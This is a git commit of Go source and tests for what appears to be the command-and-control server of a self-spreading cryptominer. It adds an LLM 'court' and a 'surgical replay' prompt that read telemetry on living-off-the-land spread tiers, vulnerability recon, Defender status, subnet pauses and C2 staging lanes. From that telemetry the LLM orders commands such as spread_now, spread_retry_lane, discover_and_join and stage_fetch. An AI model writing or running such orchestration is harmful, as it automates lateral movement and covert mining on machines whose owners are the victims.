Add adversarial L4 court chamber with Seer court_debate feed.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
This commit is contained in:
AetherForge
2026-06-07 09:21:32 -07:00
parent e1cecd8aef
commit 5853f80c48
18 changed files with 2152 additions and 9 deletions

View File

@@ -0,0 +1,282 @@
package ai
import (
"encoding/json"
"fmt"
"strings"
"time"
"crypto-miner-server/internal/strategy"
)
// CourtChamberProvider supplies extended real-data evidence for adversarial tribunals.
type CourtChamberProvider interface {
CourtContext
ChamberEvidence(agentID string, snap AgentSnapshot) CourtChamberEvidence
}
// CourtChamberEvidence is prosecutor/defender input — fleet telemetry only, no inference.
type CourtChamberEvidence struct {
AgentID string `json:"agent_id"`
AgentName string `json:"agent_name"`
Hashrate float64 `json:"hashrate"`
Stuck bool `json:"stuck"`
ChainExhausted bool `json:"chain_exhausted"`
ClearanceLevel int `json:"clearance_level"`
JoinLane string `json:"join_lane,omitempty"`
ActiveMethod string `json:"active_method,omitempty"`
FingerprintKey string `json:"fingerprint_key,omitempty"`
AtlasSummary string `json:"atlas_summary"`
SubnetImmune string `json:"subnet_immune"`
ErasureRecovery string `json:"erasure_recovery"`
GossipWhispers string `json:"gossip_whispers"`
}
// CourtDebateTurn is one role's statement in the adversarial chamber transcript.
type CourtDebateTurn struct {
Role string `json:"role"`
Text string `json:"text"`
}
// CourtDebateTranscript is the full prosecutor/defender/judge debate for Seer feed.
type CourtDebateTranscript struct {
AgentID string `json:"agent_id"`
AgentName string `json:"agent_name"`
ClearanceLevel int `json:"clearance_level"`
Evidence CourtChamberEvidence `json:"evidence"`
Transcript []CourtDebateTurn `json:"transcript"`
Verdict string `json:"verdict,omitempty"`
CommandsJSON string `json:"commands_json,omitempty"`
Timestamp string `json:"ts"`
}
// CourtDeps wires adversarial chamber evidence, Seer feed, and optional Emberwake broadcast.
type CourtDeps struct {
Chamber CourtChamberProvider
Seer SeerEmitter
Emberwake func(agentID string, transcript CourtDebateTranscript)
}
// BuildCourtDebate assembles deterministic prosecutor/defender arguments from real evidence.
func BuildCourtDebate(
snap AgentSnapshot,
evidence CourtChamberEvidence,
phenotype *strategy.FleetPhenotype,
persona string,
) (CourtDebateTranscript, CourtPromptBundle) {
prosecutor := buildChamberProsecutor(snap, evidence)
defender := buildChamberDefender(phenotype, evidence)
judgeOverlay := CourtJudgeOverlay(persona)
transcript := CourtDebateTranscript{
AgentID: snap.AgentID,
AgentName: snap.Name,
ClearanceLevel: snap.ClearanceLevel,
Evidence: evidence,
Transcript: []CourtDebateTurn{
{Role: "prosecutor", Text: prosecutor},
{Role: "defender", Text: defender},
},
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
bundle := BuildCourtChamberJudgePrompt(snap, prosecutor, defender, judgeOverlay)
return transcript, bundle
}
func buildChamberProsecutor(snap AgentSnapshot, ev CourtChamberEvidence) string {
var b strings.Builder
b.WriteString("PROSECUTOR — charges from fleet telemetry only.\n")
fmt.Fprintf(&b, "Host %q (%s) reports %.2f H/s hashrate", snap.Name, snap.AgentID, ev.Hashrate)
if ev.Stuck {
b.WriteString(" — STUCK")
}
b.WriteString(".\n")
if ev.ChainExhausted {
b.WriteString("Mining fallback chain exhausted: true.\n")
}
if strings.TrimSpace(ev.AtlasSummary) != "" {
fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(ev.AtlasSummary))
}
if strings.TrimSpace(ev.SubnetImmune) != "" {
fmt.Fprintf(&b, "Subnet immune table: %s\n", strings.TrimSpace(ev.SubnetImmune))
}
if strings.TrimSpace(ev.ErasureRecovery) != "" {
fmt.Fprintf(&b, "Erasure recovery: %s\n", strings.TrimSpace(ev.ErasureRecovery))
}
if strings.TrimSpace(ev.GossipWhispers) != "" {
fmt.Fprintf(&b, "Atlas LAN gossip whispers: %s\n", strings.TrimSpace(ev.GossipWhispers))
}
failed, total := countSpreadFailures(snap)
if total > 0 {
fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total)
} else {
b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n")
}
b.WriteString("Per-tier spread attempts:\n")
attemptByTier := map[string]TierAttempt{}
for _, a := range snap.LOTLAttempts {
attemptByTier[a.Tier] = a
}
for _, tier := range defaultSpreadTiers {
if a, ok := attemptByTier[tier]; ok {
status := "fail"
if a.OK {
status = "ok"
}
if a.Error != "" {
fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error)
} else {
fmt.Fprintf(&b, " - %s: %s\n", tier, status)
}
}
}
if snap.JoinLane != "" {
fmt.Fprintf(&b, "Last successful join lane: %s\n", snap.JoinLane)
}
if snap.ActiveMethod != "" {
fmt.Fprintf(&b, "Active mining method: %s\n", snap.ActiveMethod)
}
return strings.TrimSpace(b.String())
}
func buildChamberDefender(phenotype *strategy.FleetPhenotype, ev CourtChamberEvidence) string {
var b strings.Builder
b.WriteString("PUBLIC DEFENDER — counsel cites fleet phenotype and recovery paths.\n")
if phenotype == nil {
b.WriteString("No matching FleetPhenotype on record for this fingerprint. Cannot cite a peer success path.\n")
} else {
name := phenotype.SourceAgentName
if name == "" {
name = phenotype.SourceAgentID
}
fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint)
if phenotype.ActiveTier != "" {
fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate)
}
if phenotype.SpreadLane != "" {
fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane)
}
if len(phenotype.TierOrder) > 0 {
fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → "))
}
if raw, err := json.Marshal(phenotype); err == nil {
fmt.Fprintf(&b, "Phenotype JSON: %s\n", string(raw))
}
}
if strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") {
b.WriteString("Erasure RS 4+2 lanes are enabled fleet-wide — stage_fetch shard recovery is available.\n")
}
if strings.Contains(ev.SubnetImmune, "paused") {
b.WriteString("Subnet immune pause is active — spread commands to this /24 are blocked until pause expires.\n")
}
if strings.TrimSpace(ev.GossipWhispers) != "" {
b.WriteString("LAN siblings reported skip hints — reorder_tiers may front lanes that succeeded on peers.\n")
}
return strings.TrimSpace(b.String())
}
// BuildCourtChamberJudgePrompt renders the L4 judge LLM turn after adversarial transcript.
func BuildCourtChamberJudgePrompt(snap AgentSnapshot, prosecutor, defender, judgeOverlay string) CourtPromptBundle {
var system strings.Builder
system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts.
The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only.
You must weigh their statements and issue a binding verdict with at most 3 commands.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
Court-ordered spread_retry_lane and skip_tier execute with L4 clearance.
Never target third-party systems. Do not invent telemetry — only cite evidence already in the transcript.`))
system.WriteString("\n\n## PROSECUTOR\n")
system.WriteString(prosecutor)
system.WriteString("\n\n## PUBLIC DEFENDER\n")
system.WriteString(defender)
var user strings.Builder
fmt.Fprintf(&user, "Agent under review: name=%q id=%s clearance=L%d\n", snap.Name, snap.AgentID, snap.ClearanceLevel)
fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(snap.GOOS, snap.Platform), snap.Version, snap.BuildID)
fmt.Fprintf(&user, "Mining hashrate: %.2f H/s\n", snap.MiningHashrate)
if snap.FingerprintKey != "" {
fmt.Fprintf(&user, "Fingerprint: %s\n", snap.FingerprintKey)
}
user.WriteString("\n## JUDGE (L4)\n")
user.WriteString(judgeOverlay)
user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n")
user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n")
return CourtPromptBundle{
SystemPrompt: system.String(),
UserPrompt: user.String(),
ProsecutorSnippet: prosecutor,
DefenderSnippet: defender,
}
}
// FinalizeCourtDebate attaches judge response to transcript for Seer emission.
func FinalizeCourtDebate(transcript CourtDebateTranscript, judgeResponse string) CourtDebateTranscript {
transcript.Verdict = ExtractJudgeVerdict(judgeResponse)
transcript.CommandsJSON = extractCommandsJSON(judgeResponse)
transcript.Transcript = append(transcript.Transcript, CourtDebateTurn{
Role: "judge",
Text: strings.TrimSpace(judgeResponse),
})
return transcript
}
func extractCommandsJSON(raw string) string {
raw = strings.TrimSpace(raw)
idx := strings.Index(raw, "{")
if idx < 0 {
return ""
}
return strings.TrimSpace(raw[idx:])
}
// FormatGossipWhispers renders LAN gossip hints for court evidence.
func FormatGossipWhispers(hints []struct {
Tier, Condition, Reason string
}) string {
if len(hints) == 0 {
return "none recorded on this /24"
}
parts := make([]string, 0, len(hints))
for _, h := range hints {
line := h.Tier + "|" + h.Condition
if h.Reason != "" {
line += " (" + h.Reason + ")"
}
parts = append(parts, line)
}
return strings.Join(parts, "; ")
}
// FormatSubnetImmuneRow renders one subnet_spread_pause row for court evidence.
func FormatSubnetImmuneRow(prefix string, failCount int, pausedUntil *time.Time) string {
if prefix == "" {
return "no /24 prefix for agent IP"
}
if failCount == 0 {
return fmt.Sprintf("prefix=%s fail_count=0 (not paused)", prefix)
}
line := fmt.Sprintf("prefix=%s fail_count=%d", prefix, failCount)
if pausedUntil != nil && time.Now().UTC().Before(pausedUntil.UTC()) {
line += fmt.Sprintf(" paused_until=%s UTC", pausedUntil.UTC().Format(time.RFC3339))
}
return line
}
// FormatErasureRecovery reports erasure lane policy and stage_fetch attempt status.
func FormatErasureRecovery(lanesEnabled, stageFetchAttempted, stageFetchOK bool) string {
var b strings.Builder
fmt.Fprintf(&b, "lanes_enabled=%v", lanesEnabled)
fmt.Fprintf(&b, " stage_fetch_attempted=%v", stageFetchAttempted)
if stageFetchAttempted {
fmt.Fprintf(&b, " stage_fetch_ok=%v", stageFetchOK)
}
if lanesEnabled {
b.WriteString(" (RS 4+2 shard recovery available via stage_fetch)")
} else {
b.WriteString(" (erasure lanes disabled — primary C2 staging only)")
}
return b.String()
}

View File

@@ -0,0 +1,92 @@
package ai
import (
"strings"
"testing"
"time"
"crypto-miner-server/internal/strategy"
)
func TestBuildCourtDebateIncludesRealEvidence(t *testing.T) {
ev := CourtChamberEvidence{
AgentID: "a1", AgentName: "stuck", Hashrate: 0, Stuck: true,
ChainExhausted: true, AtlasSummary: "docker 5/5 failed (100%)",
SubnetImmune: "prefix=10.0.0 fail_count=5 paused_until=2026-06-08T00:00:00Z UTC",
ErasureRecovery: "lanes_enabled=true stage_fetch_attempted=false (RS 4+2 shard recovery available via stage_fetch)",
GossipWhispers: "docker|defender_on (lan gossip)",
}
snap := AgentSnapshot{
AgentID: "a1", Name: "stuck", Stuck: true, ChainExhausted: true,
LOTLAttempts: stuckSpreadAttempts(),
}
transcript, bundle := BuildCourtDebate(snap, ev, nil, PersonaBalanced)
if len(transcript.Transcript) != 2 {
t.Fatalf("transcript=%+v", transcript.Transcript)
}
if transcript.Transcript[0].Role != "prosecutor" || transcript.Transcript[1].Role != "defender" {
t.Fatalf("roles=%+v", transcript.Transcript)
}
pros := transcript.Transcript[0].Text
for _, want := range []string{
"0.00 H/s", "Failure atlas: docker", "Subnet immune table:",
"Erasure recovery:", "Atlas LAN gossip whispers:", "14/14 failed",
} {
if !strings.Contains(pros, want) {
t.Fatalf("prosecutor missing %q: %s", want, pros)
}
}
if !strings.Contains(bundle.SystemPrompt, "## PUBLIC DEFENDER") {
t.Fatalf("judge prompt missing defender section")
}
if !strings.Contains(bundle.UserPrompt, "## JUDGE (L4)") {
t.Fatalf("judge user prompt: %s", bundle.UserPrompt)
}
}
func TestBuildCourtDebateDefenderPhenotype(t *testing.T) {
phenotype := &strategy.FleetPhenotype{
Fingerprint: "win|1", SourceAgentName: "winner", ActiveTier: "container",
PeakHashrate: 900, SpreadLane: "winrm", TierOrder: []string{"container", "wsl"},
}
ev := CourtChamberEvidence{ErasureRecovery: "lanes_enabled=true stage_fetch_attempted=false"}
_, bundle := BuildCourtDebate(AgentSnapshot{AgentID: "a1"}, ev, phenotype, PersonaBalanced)
if !strings.Contains(bundle.DefenderSnippet, "Fleet phenotype from winner") {
t.Fatalf("defender=%s", bundle.DefenderSnippet)
}
if !strings.Contains(bundle.DefenderSnippet, "Erasure RS 4+2 lanes") {
t.Fatalf("defender erasure=%s", bundle.DefenderSnippet)
}
}
func TestFinalizeCourtDebateAddsJudgeTurn(t *testing.T) {
raw := "Verdict: restart mining.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}}]}"
transcript := CourtDebateTranscript{
Transcript: []CourtDebateTurn{{Role: "prosecutor", Text: "charges"}},
}
out := FinalizeCourtDebate(transcript, raw)
if len(out.Transcript) != 2 || out.Transcript[1].Role != "judge" {
t.Fatalf("transcript=%+v", out.Transcript)
}
if out.Verdict != "restart mining." {
t.Fatalf("verdict=%q", out.Verdict)
}
if !strings.Contains(out.CommandsJSON, "restart_mining") {
t.Fatalf("commands=%q", out.CommandsJSON)
}
}
func TestFormatSubnetImmuneRowPaused(t *testing.T) {
until := time.Now().UTC().Add(2 * time.Hour)
line := FormatSubnetImmuneRow("10.0.0", 5, &until)
if !strings.Contains(line, "fail_count=5") || !strings.Contains(line, "paused_until=") {
t.Fatalf("line=%q", line)
}
}
func TestFormatErasureRecovery(t *testing.T) {
line := FormatErasureRecovery(true, true, false)
if !strings.Contains(line, "lanes_enabled=true") || !strings.Contains(line, "stage_fetch_ok=false") {
t.Fatalf("line=%q", line)
}
}

View File

@@ -0,0 +1,32 @@
package ai
import (
"fmt"
"strings"
)
// ExpandSurgicalCommand maps surgical fix types to executable fleet commands.
func ExpandSurgicalCommand(cmd Command) []Command {
switch cmd.Type {
case CmdSpreadRetryLane:
return []Command{ResolveSpreadRetryLane(cmd.Args)}
case CmdSkipTier:
return []Command{ResolveSkipTier(cmd.Args)}
case CmdPersonaTweak, CmdEnableErasure, CmdSpreadGraft:
return []Command{cmd}
default:
return []Command{cmd}
}
}
// FormatSurgicalFixArgs serializes command args for strain memory storage.
func FormatSurgicalFixArgs(cmd Command) string {
if cmd.Args == nil {
return ""
}
parts := make([]string, 0, len(cmd.Args))
for k, v := range cmd.Args {
parts = append(parts, fmt.Sprintf("%s=%v", k, v))
}
return strings.Join(parts, ",")
}

View File

@@ -0,0 +1,201 @@
package ai
import (
"encoding/json"
"fmt"
"strings"
)
// SurgicalTraceContext is minimal Path Tracer context for a failed branch replay.
type SurgicalTraceContext struct {
SessionID string `json:"session_id"`
HopIndex int `json:"hop_index"`
HopCount int `json:"hop_count"`
EgressAgentID string `json:"egress_agent_id,omitempty"`
SessionError string `json:"session_error,omitempty"`
DiscoverError string `json:"discover_error,omitempty"`
TargetSubnets []string `json:"target_subnets,omitempty"`
}
// SurgicalDiagnosticBundle is the compact payload fed to the surgical replay LLM.
type SurgicalDiagnosticBundle struct {
AgentID string `json:"agent_id"`
AgentName string `json:"agent_name"`
Strain string `json:"strain,omitempty"`
FailedTier string `json:"failed_tier"`
FailedError string `json:"failed_error,omitempty"`
SpreadFailures int `json:"spread_failures"`
MiningHashrate float64 `json:"mining_hashrate"`
JoinLane string `json:"join_lane,omitempty"`
Persona string `json:"persona,omitempty"`
ErasureOn bool `json:"erasure_on"`
Trace SurgicalTraceContext `json:"trace"`
FailedAttempts []TierAttempt `json:"failed_attempts"`
AtlasSummary string `json:"atlas_summary,omitempty"`
Options map[string]interface{} `json:"fix_options,omitempty"`
}
// SurgicalTraceProvider resolves persisted Path Tracer context for an agent.
type SurgicalTraceProvider interface {
TraceForAgent(agentID string) (SurgicalTraceContext, bool)
}
// StrainMemoryStore persists surgical replay outcomes.
type StrainMemoryStore interface {
InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error
}
// SeerEmitter records Seer feed events for dashboard streaming.
type SeerEmitter interface {
EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error
}
// SurgicalDeps wires optional surgical replay collaborators into the scheduler.
type SurgicalDeps struct {
Trace SurgicalTraceProvider
Strain StrainMemoryStore
Seer SeerEmitter
StrainLookup func(agentID string) string
ErasureActive func() bool
}
// ShouldUseSurgicalReplay is true when a pathtrace branch failed partially along spread tiers.
func ShouldUseSurgicalReplay(trace SurgicalTraceContext, snap AgentSnapshot) bool {
if trace.SessionID == "" {
return false
}
if snap.MiningHashrate > 0 {
return false
}
if AllSpreadTiersFailed(snap) || snap.Stuck {
return false
}
failedTier, _ := firstFailedSpreadTier(snap.LOTLAttempts)
return failedTier != ""
}
// BuildSurgicalDiagnosticBundle composes a minimal replay bundle from trace + snapshot.
func BuildSurgicalDiagnosticBundle(
snap AgentSnapshot,
trace SurgicalTraceContext,
atlasSummary, persona string,
erasureOn bool,
) SurgicalDiagnosticBundle {
failedTier, failedErr := firstFailedSpreadTier(snap.LOTLAttempts)
failed, _ := countSpreadFailures(snap)
bundle := SurgicalDiagnosticBundle{
AgentID: snap.AgentID,
AgentName: snap.Name,
FailedTier: failedTier,
FailedError: failedErr,
SpreadFailures: failed,
MiningHashrate: snap.MiningHashrate,
JoinLane: snap.JoinLane,
Persona: persona,
ErasureOn: erasureOn,
Trace: trace,
AtlasSummary: strings.TrimSpace(atlasSummary),
FailedAttempts: failedSpreadAttempts(snap.LOTLAttempts),
Options: map[string]interface{}{
"persona_tweak": []string{"aggressive", "silent", "passive", "persuasive", "balanced"},
"tier_skip": true,
"erasure_on": !erasureOn,
"spread_graft": true,
"retry_lane": true,
},
}
return bundle
}
// BuildSurgicalReplayPrompt renders the single-command surgical replay LLM prompt.
func BuildSurgicalReplayPrompt(bundle SurgicalDiagnosticBundle) (systemPrompt, userPrompt string) {
systemPrompt = strings.TrimSpace(`You are the AetherForge surgical replay controller for the operator's own fleet.
Examine the failed spread/onion branch from the persisted Path Tracer trace and LOTL attempts.
Propose ONE minimal surgical fix — not a full court tribunal.
Valid command types (pick exactly one): persona_tweak, skip_tier, enable_erasure, spread_graft, spread_retry_lane, reorder_tiers, discover_and_join, stage_fetch, spread_now, restart_mining, noop.
persona_tweak args: persona (aggressive|silent|passive|persuasive|balanced).
skip_tier args: tier (string) or skip_tiers (array).
enable_erasure args: {} — turns on ReedSolomon multi-lane staging for this fleet pass.
spread_graft args: source_agent_id (string), tier (string) — splice winning strain tier order onto this agent.
spread_retry_lane args: lane (string), optional data/manifest for staging lanes.
Return JSON with exactly one command in commands[]. Never target third-party systems.`)
var user strings.Builder
fmt.Fprintf(&user, "Surgical replay for agent %q (%s)\n", bundle.AgentName, bundle.AgentID)
fmt.Fprintf(&user, "Failed spread tier: %s", bundle.FailedTier)
if bundle.FailedError != "" {
fmt.Fprintf(&user, " (%s)", bundle.FailedError)
}
user.WriteString("\n")
fmt.Fprintf(&user, "Path trace session %s hop %d/%d\n", bundle.Trace.SessionID[:min(8, len(bundle.Trace.SessionID))], bundle.Trace.HopIndex+1, bundle.Trace.HopCount)
if bundle.Trace.SessionError != "" {
fmt.Fprintf(&user, "Session error: %s\n", bundle.Trace.SessionError)
}
if bundle.Trace.DiscoverError != "" {
fmt.Fprintf(&user, "Discover error: %s\n", bundle.Trace.DiscoverError)
}
if bundle.AtlasSummary != "" {
fmt.Fprintf(&user, "Failure atlas: %s\n", bundle.AtlasSummary)
}
fmt.Fprintf(&user, "Persona=%s erasure_lanes=%v join_lane=%s hashrate=%.2f\n",
emptyDash(bundle.Persona), bundle.ErasureOn, emptyDash(bundle.JoinLane), bundle.MiningHashrate)
user.WriteString("Failed spread attempts:\n")
for _, a := range bundle.FailedAttempts {
if a.Error != "" {
fmt.Fprintf(&user, " - %s: %s\n", a.Tier, a.Error)
} else {
fmt.Fprintf(&user, " - %s: fail\n", a.Tier)
}
}
if raw, err := json.Marshal(bundle.Trace); err == nil {
fmt.Fprintf(&user, "Trace JSON: %s\n", string(raw))
}
user.WriteString("\nReply with one-line rationale, then JSON with exactly ONE command:\n")
user.WriteString(`{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}` + "\n")
return systemPrompt, user.String()
}
// SelectSurgicalCommand returns the first actionable command (at most one dispatch).
func SelectSurgicalCommand(cmds []Command) (Command, bool) {
for _, c := range cmds {
if c.Type == CmdNoop {
continue
}
return c, true
}
return Command{}, false
}
func firstFailedSpreadTier(attempts []TierAttempt) (tier, errMsg string) {
attemptByTier := map[string]TierAttempt{}
for _, a := range attempts {
attemptByTier[a.Tier] = a
}
for _, t := range defaultSpreadTiers {
if a, ok := attemptByTier[t]; ok && !a.OK {
return t, a.Error
}
}
return "", ""
}
func failedSpreadAttempts(attempts []TierAttempt) []TierAttempt {
attemptByTier := map[string]TierAttempt{}
for _, a := range attempts {
attemptByTier[a.Tier] = a
}
var out []TierAttempt
for _, t := range defaultSpreadTiers {
if a, ok := attemptByTier[t]; ok && !a.OK {
out = append(out, a)
}
}
return out
}
func min(a, b int) int {
if a < b {
return a
}
return b
}

View File

@@ -0,0 +1,75 @@
package ai
import (
"strings"
"testing"
)
func TestShouldUseSurgicalReplayPartialFailureWithTrace(t *testing.T) {
trace := SurgicalTraceContext{SessionID: "sess-abc", HopIndex: 1, HopCount: 3}
snap := AgentSnapshot{
LOTLAttempts: []TierAttempt{
{Tier: "vuln_recon", OK: true},
{Tier: "docker", OK: false, Error: "daemon missing"},
},
}
if !ShouldUseSurgicalReplay(trace, snap) {
t.Fatal("expected surgical replay for partial spread failure with trace")
}
}
func TestShouldUseSurgicalReplaySkipsFullCourtStuck(t *testing.T) {
trace := SurgicalTraceContext{SessionID: "sess-abc"}
snap := AgentSnapshot{Stuck: true, LOTLAttempts: stuckSpreadAttempts()}
if ShouldUseSurgicalReplay(trace, snap) {
t.Fatal("expected court path, not surgical replay, when fully stuck")
}
}
func TestShouldUseSurgicalReplayRequiresTrace(t *testing.T) {
snap := AgentSnapshot{
LOTLAttempts: []TierAttempt{{Tier: "docker", OK: false}},
}
if ShouldUseSurgicalReplay(SurgicalTraceContext{}, snap) {
t.Fatal("expected false without pathtrace session")
}
}
func TestBuildSurgicalReplayPromptMentionsFailedTier(t *testing.T) {
bundle := BuildSurgicalDiagnosticBundle(
AgentSnapshot{AgentID: "a1", Name: "host", JoinLane: "do_peer"},
SurgicalTraceContext{SessionID: "trace-123", HopIndex: 0, HopCount: 2, DiscoverError: "no smb"},
"wsl 3/3 failed", PersonaBalanced, false,
)
bundle.FailedTier = "docker"
bundle.FailedError = "not installed"
bundle.FailedAttempts = []TierAttempt{{Tier: "docker", OK: false, Error: "not installed"}}
_, user := BuildSurgicalReplayPrompt(bundle)
if !strings.Contains(user, "docker") {
t.Fatalf("missing failed tier in prompt: %s", user)
}
if !strings.Contains(user, "trace-123") {
t.Fatalf("missing session id in prompt: %s", user)
}
if !strings.Contains(user, "no smb") {
t.Fatalf("missing discover error in prompt: %s", user)
}
}
func TestSelectSurgicalCommandPicksFirstActionable(t *testing.T) {
cmd, ok := SelectSurgicalCommand([]Command{
{Type: CmdNoop},
{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "docker"}},
{Type: CmdRestartMining},
})
if !ok || cmd.Type != CmdSkipTier {
t.Fatalf("got %+v ok=%v", cmd, ok)
}
}
func TestExpandSurgicalCommandSkipTier(t *testing.T) {
out := ExpandSurgicalCommand(Command{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "wsl"}})
if len(out) != 1 || out[0].Type != CmdReorderTiers {
t.Fatalf("got %+v", out)
}
}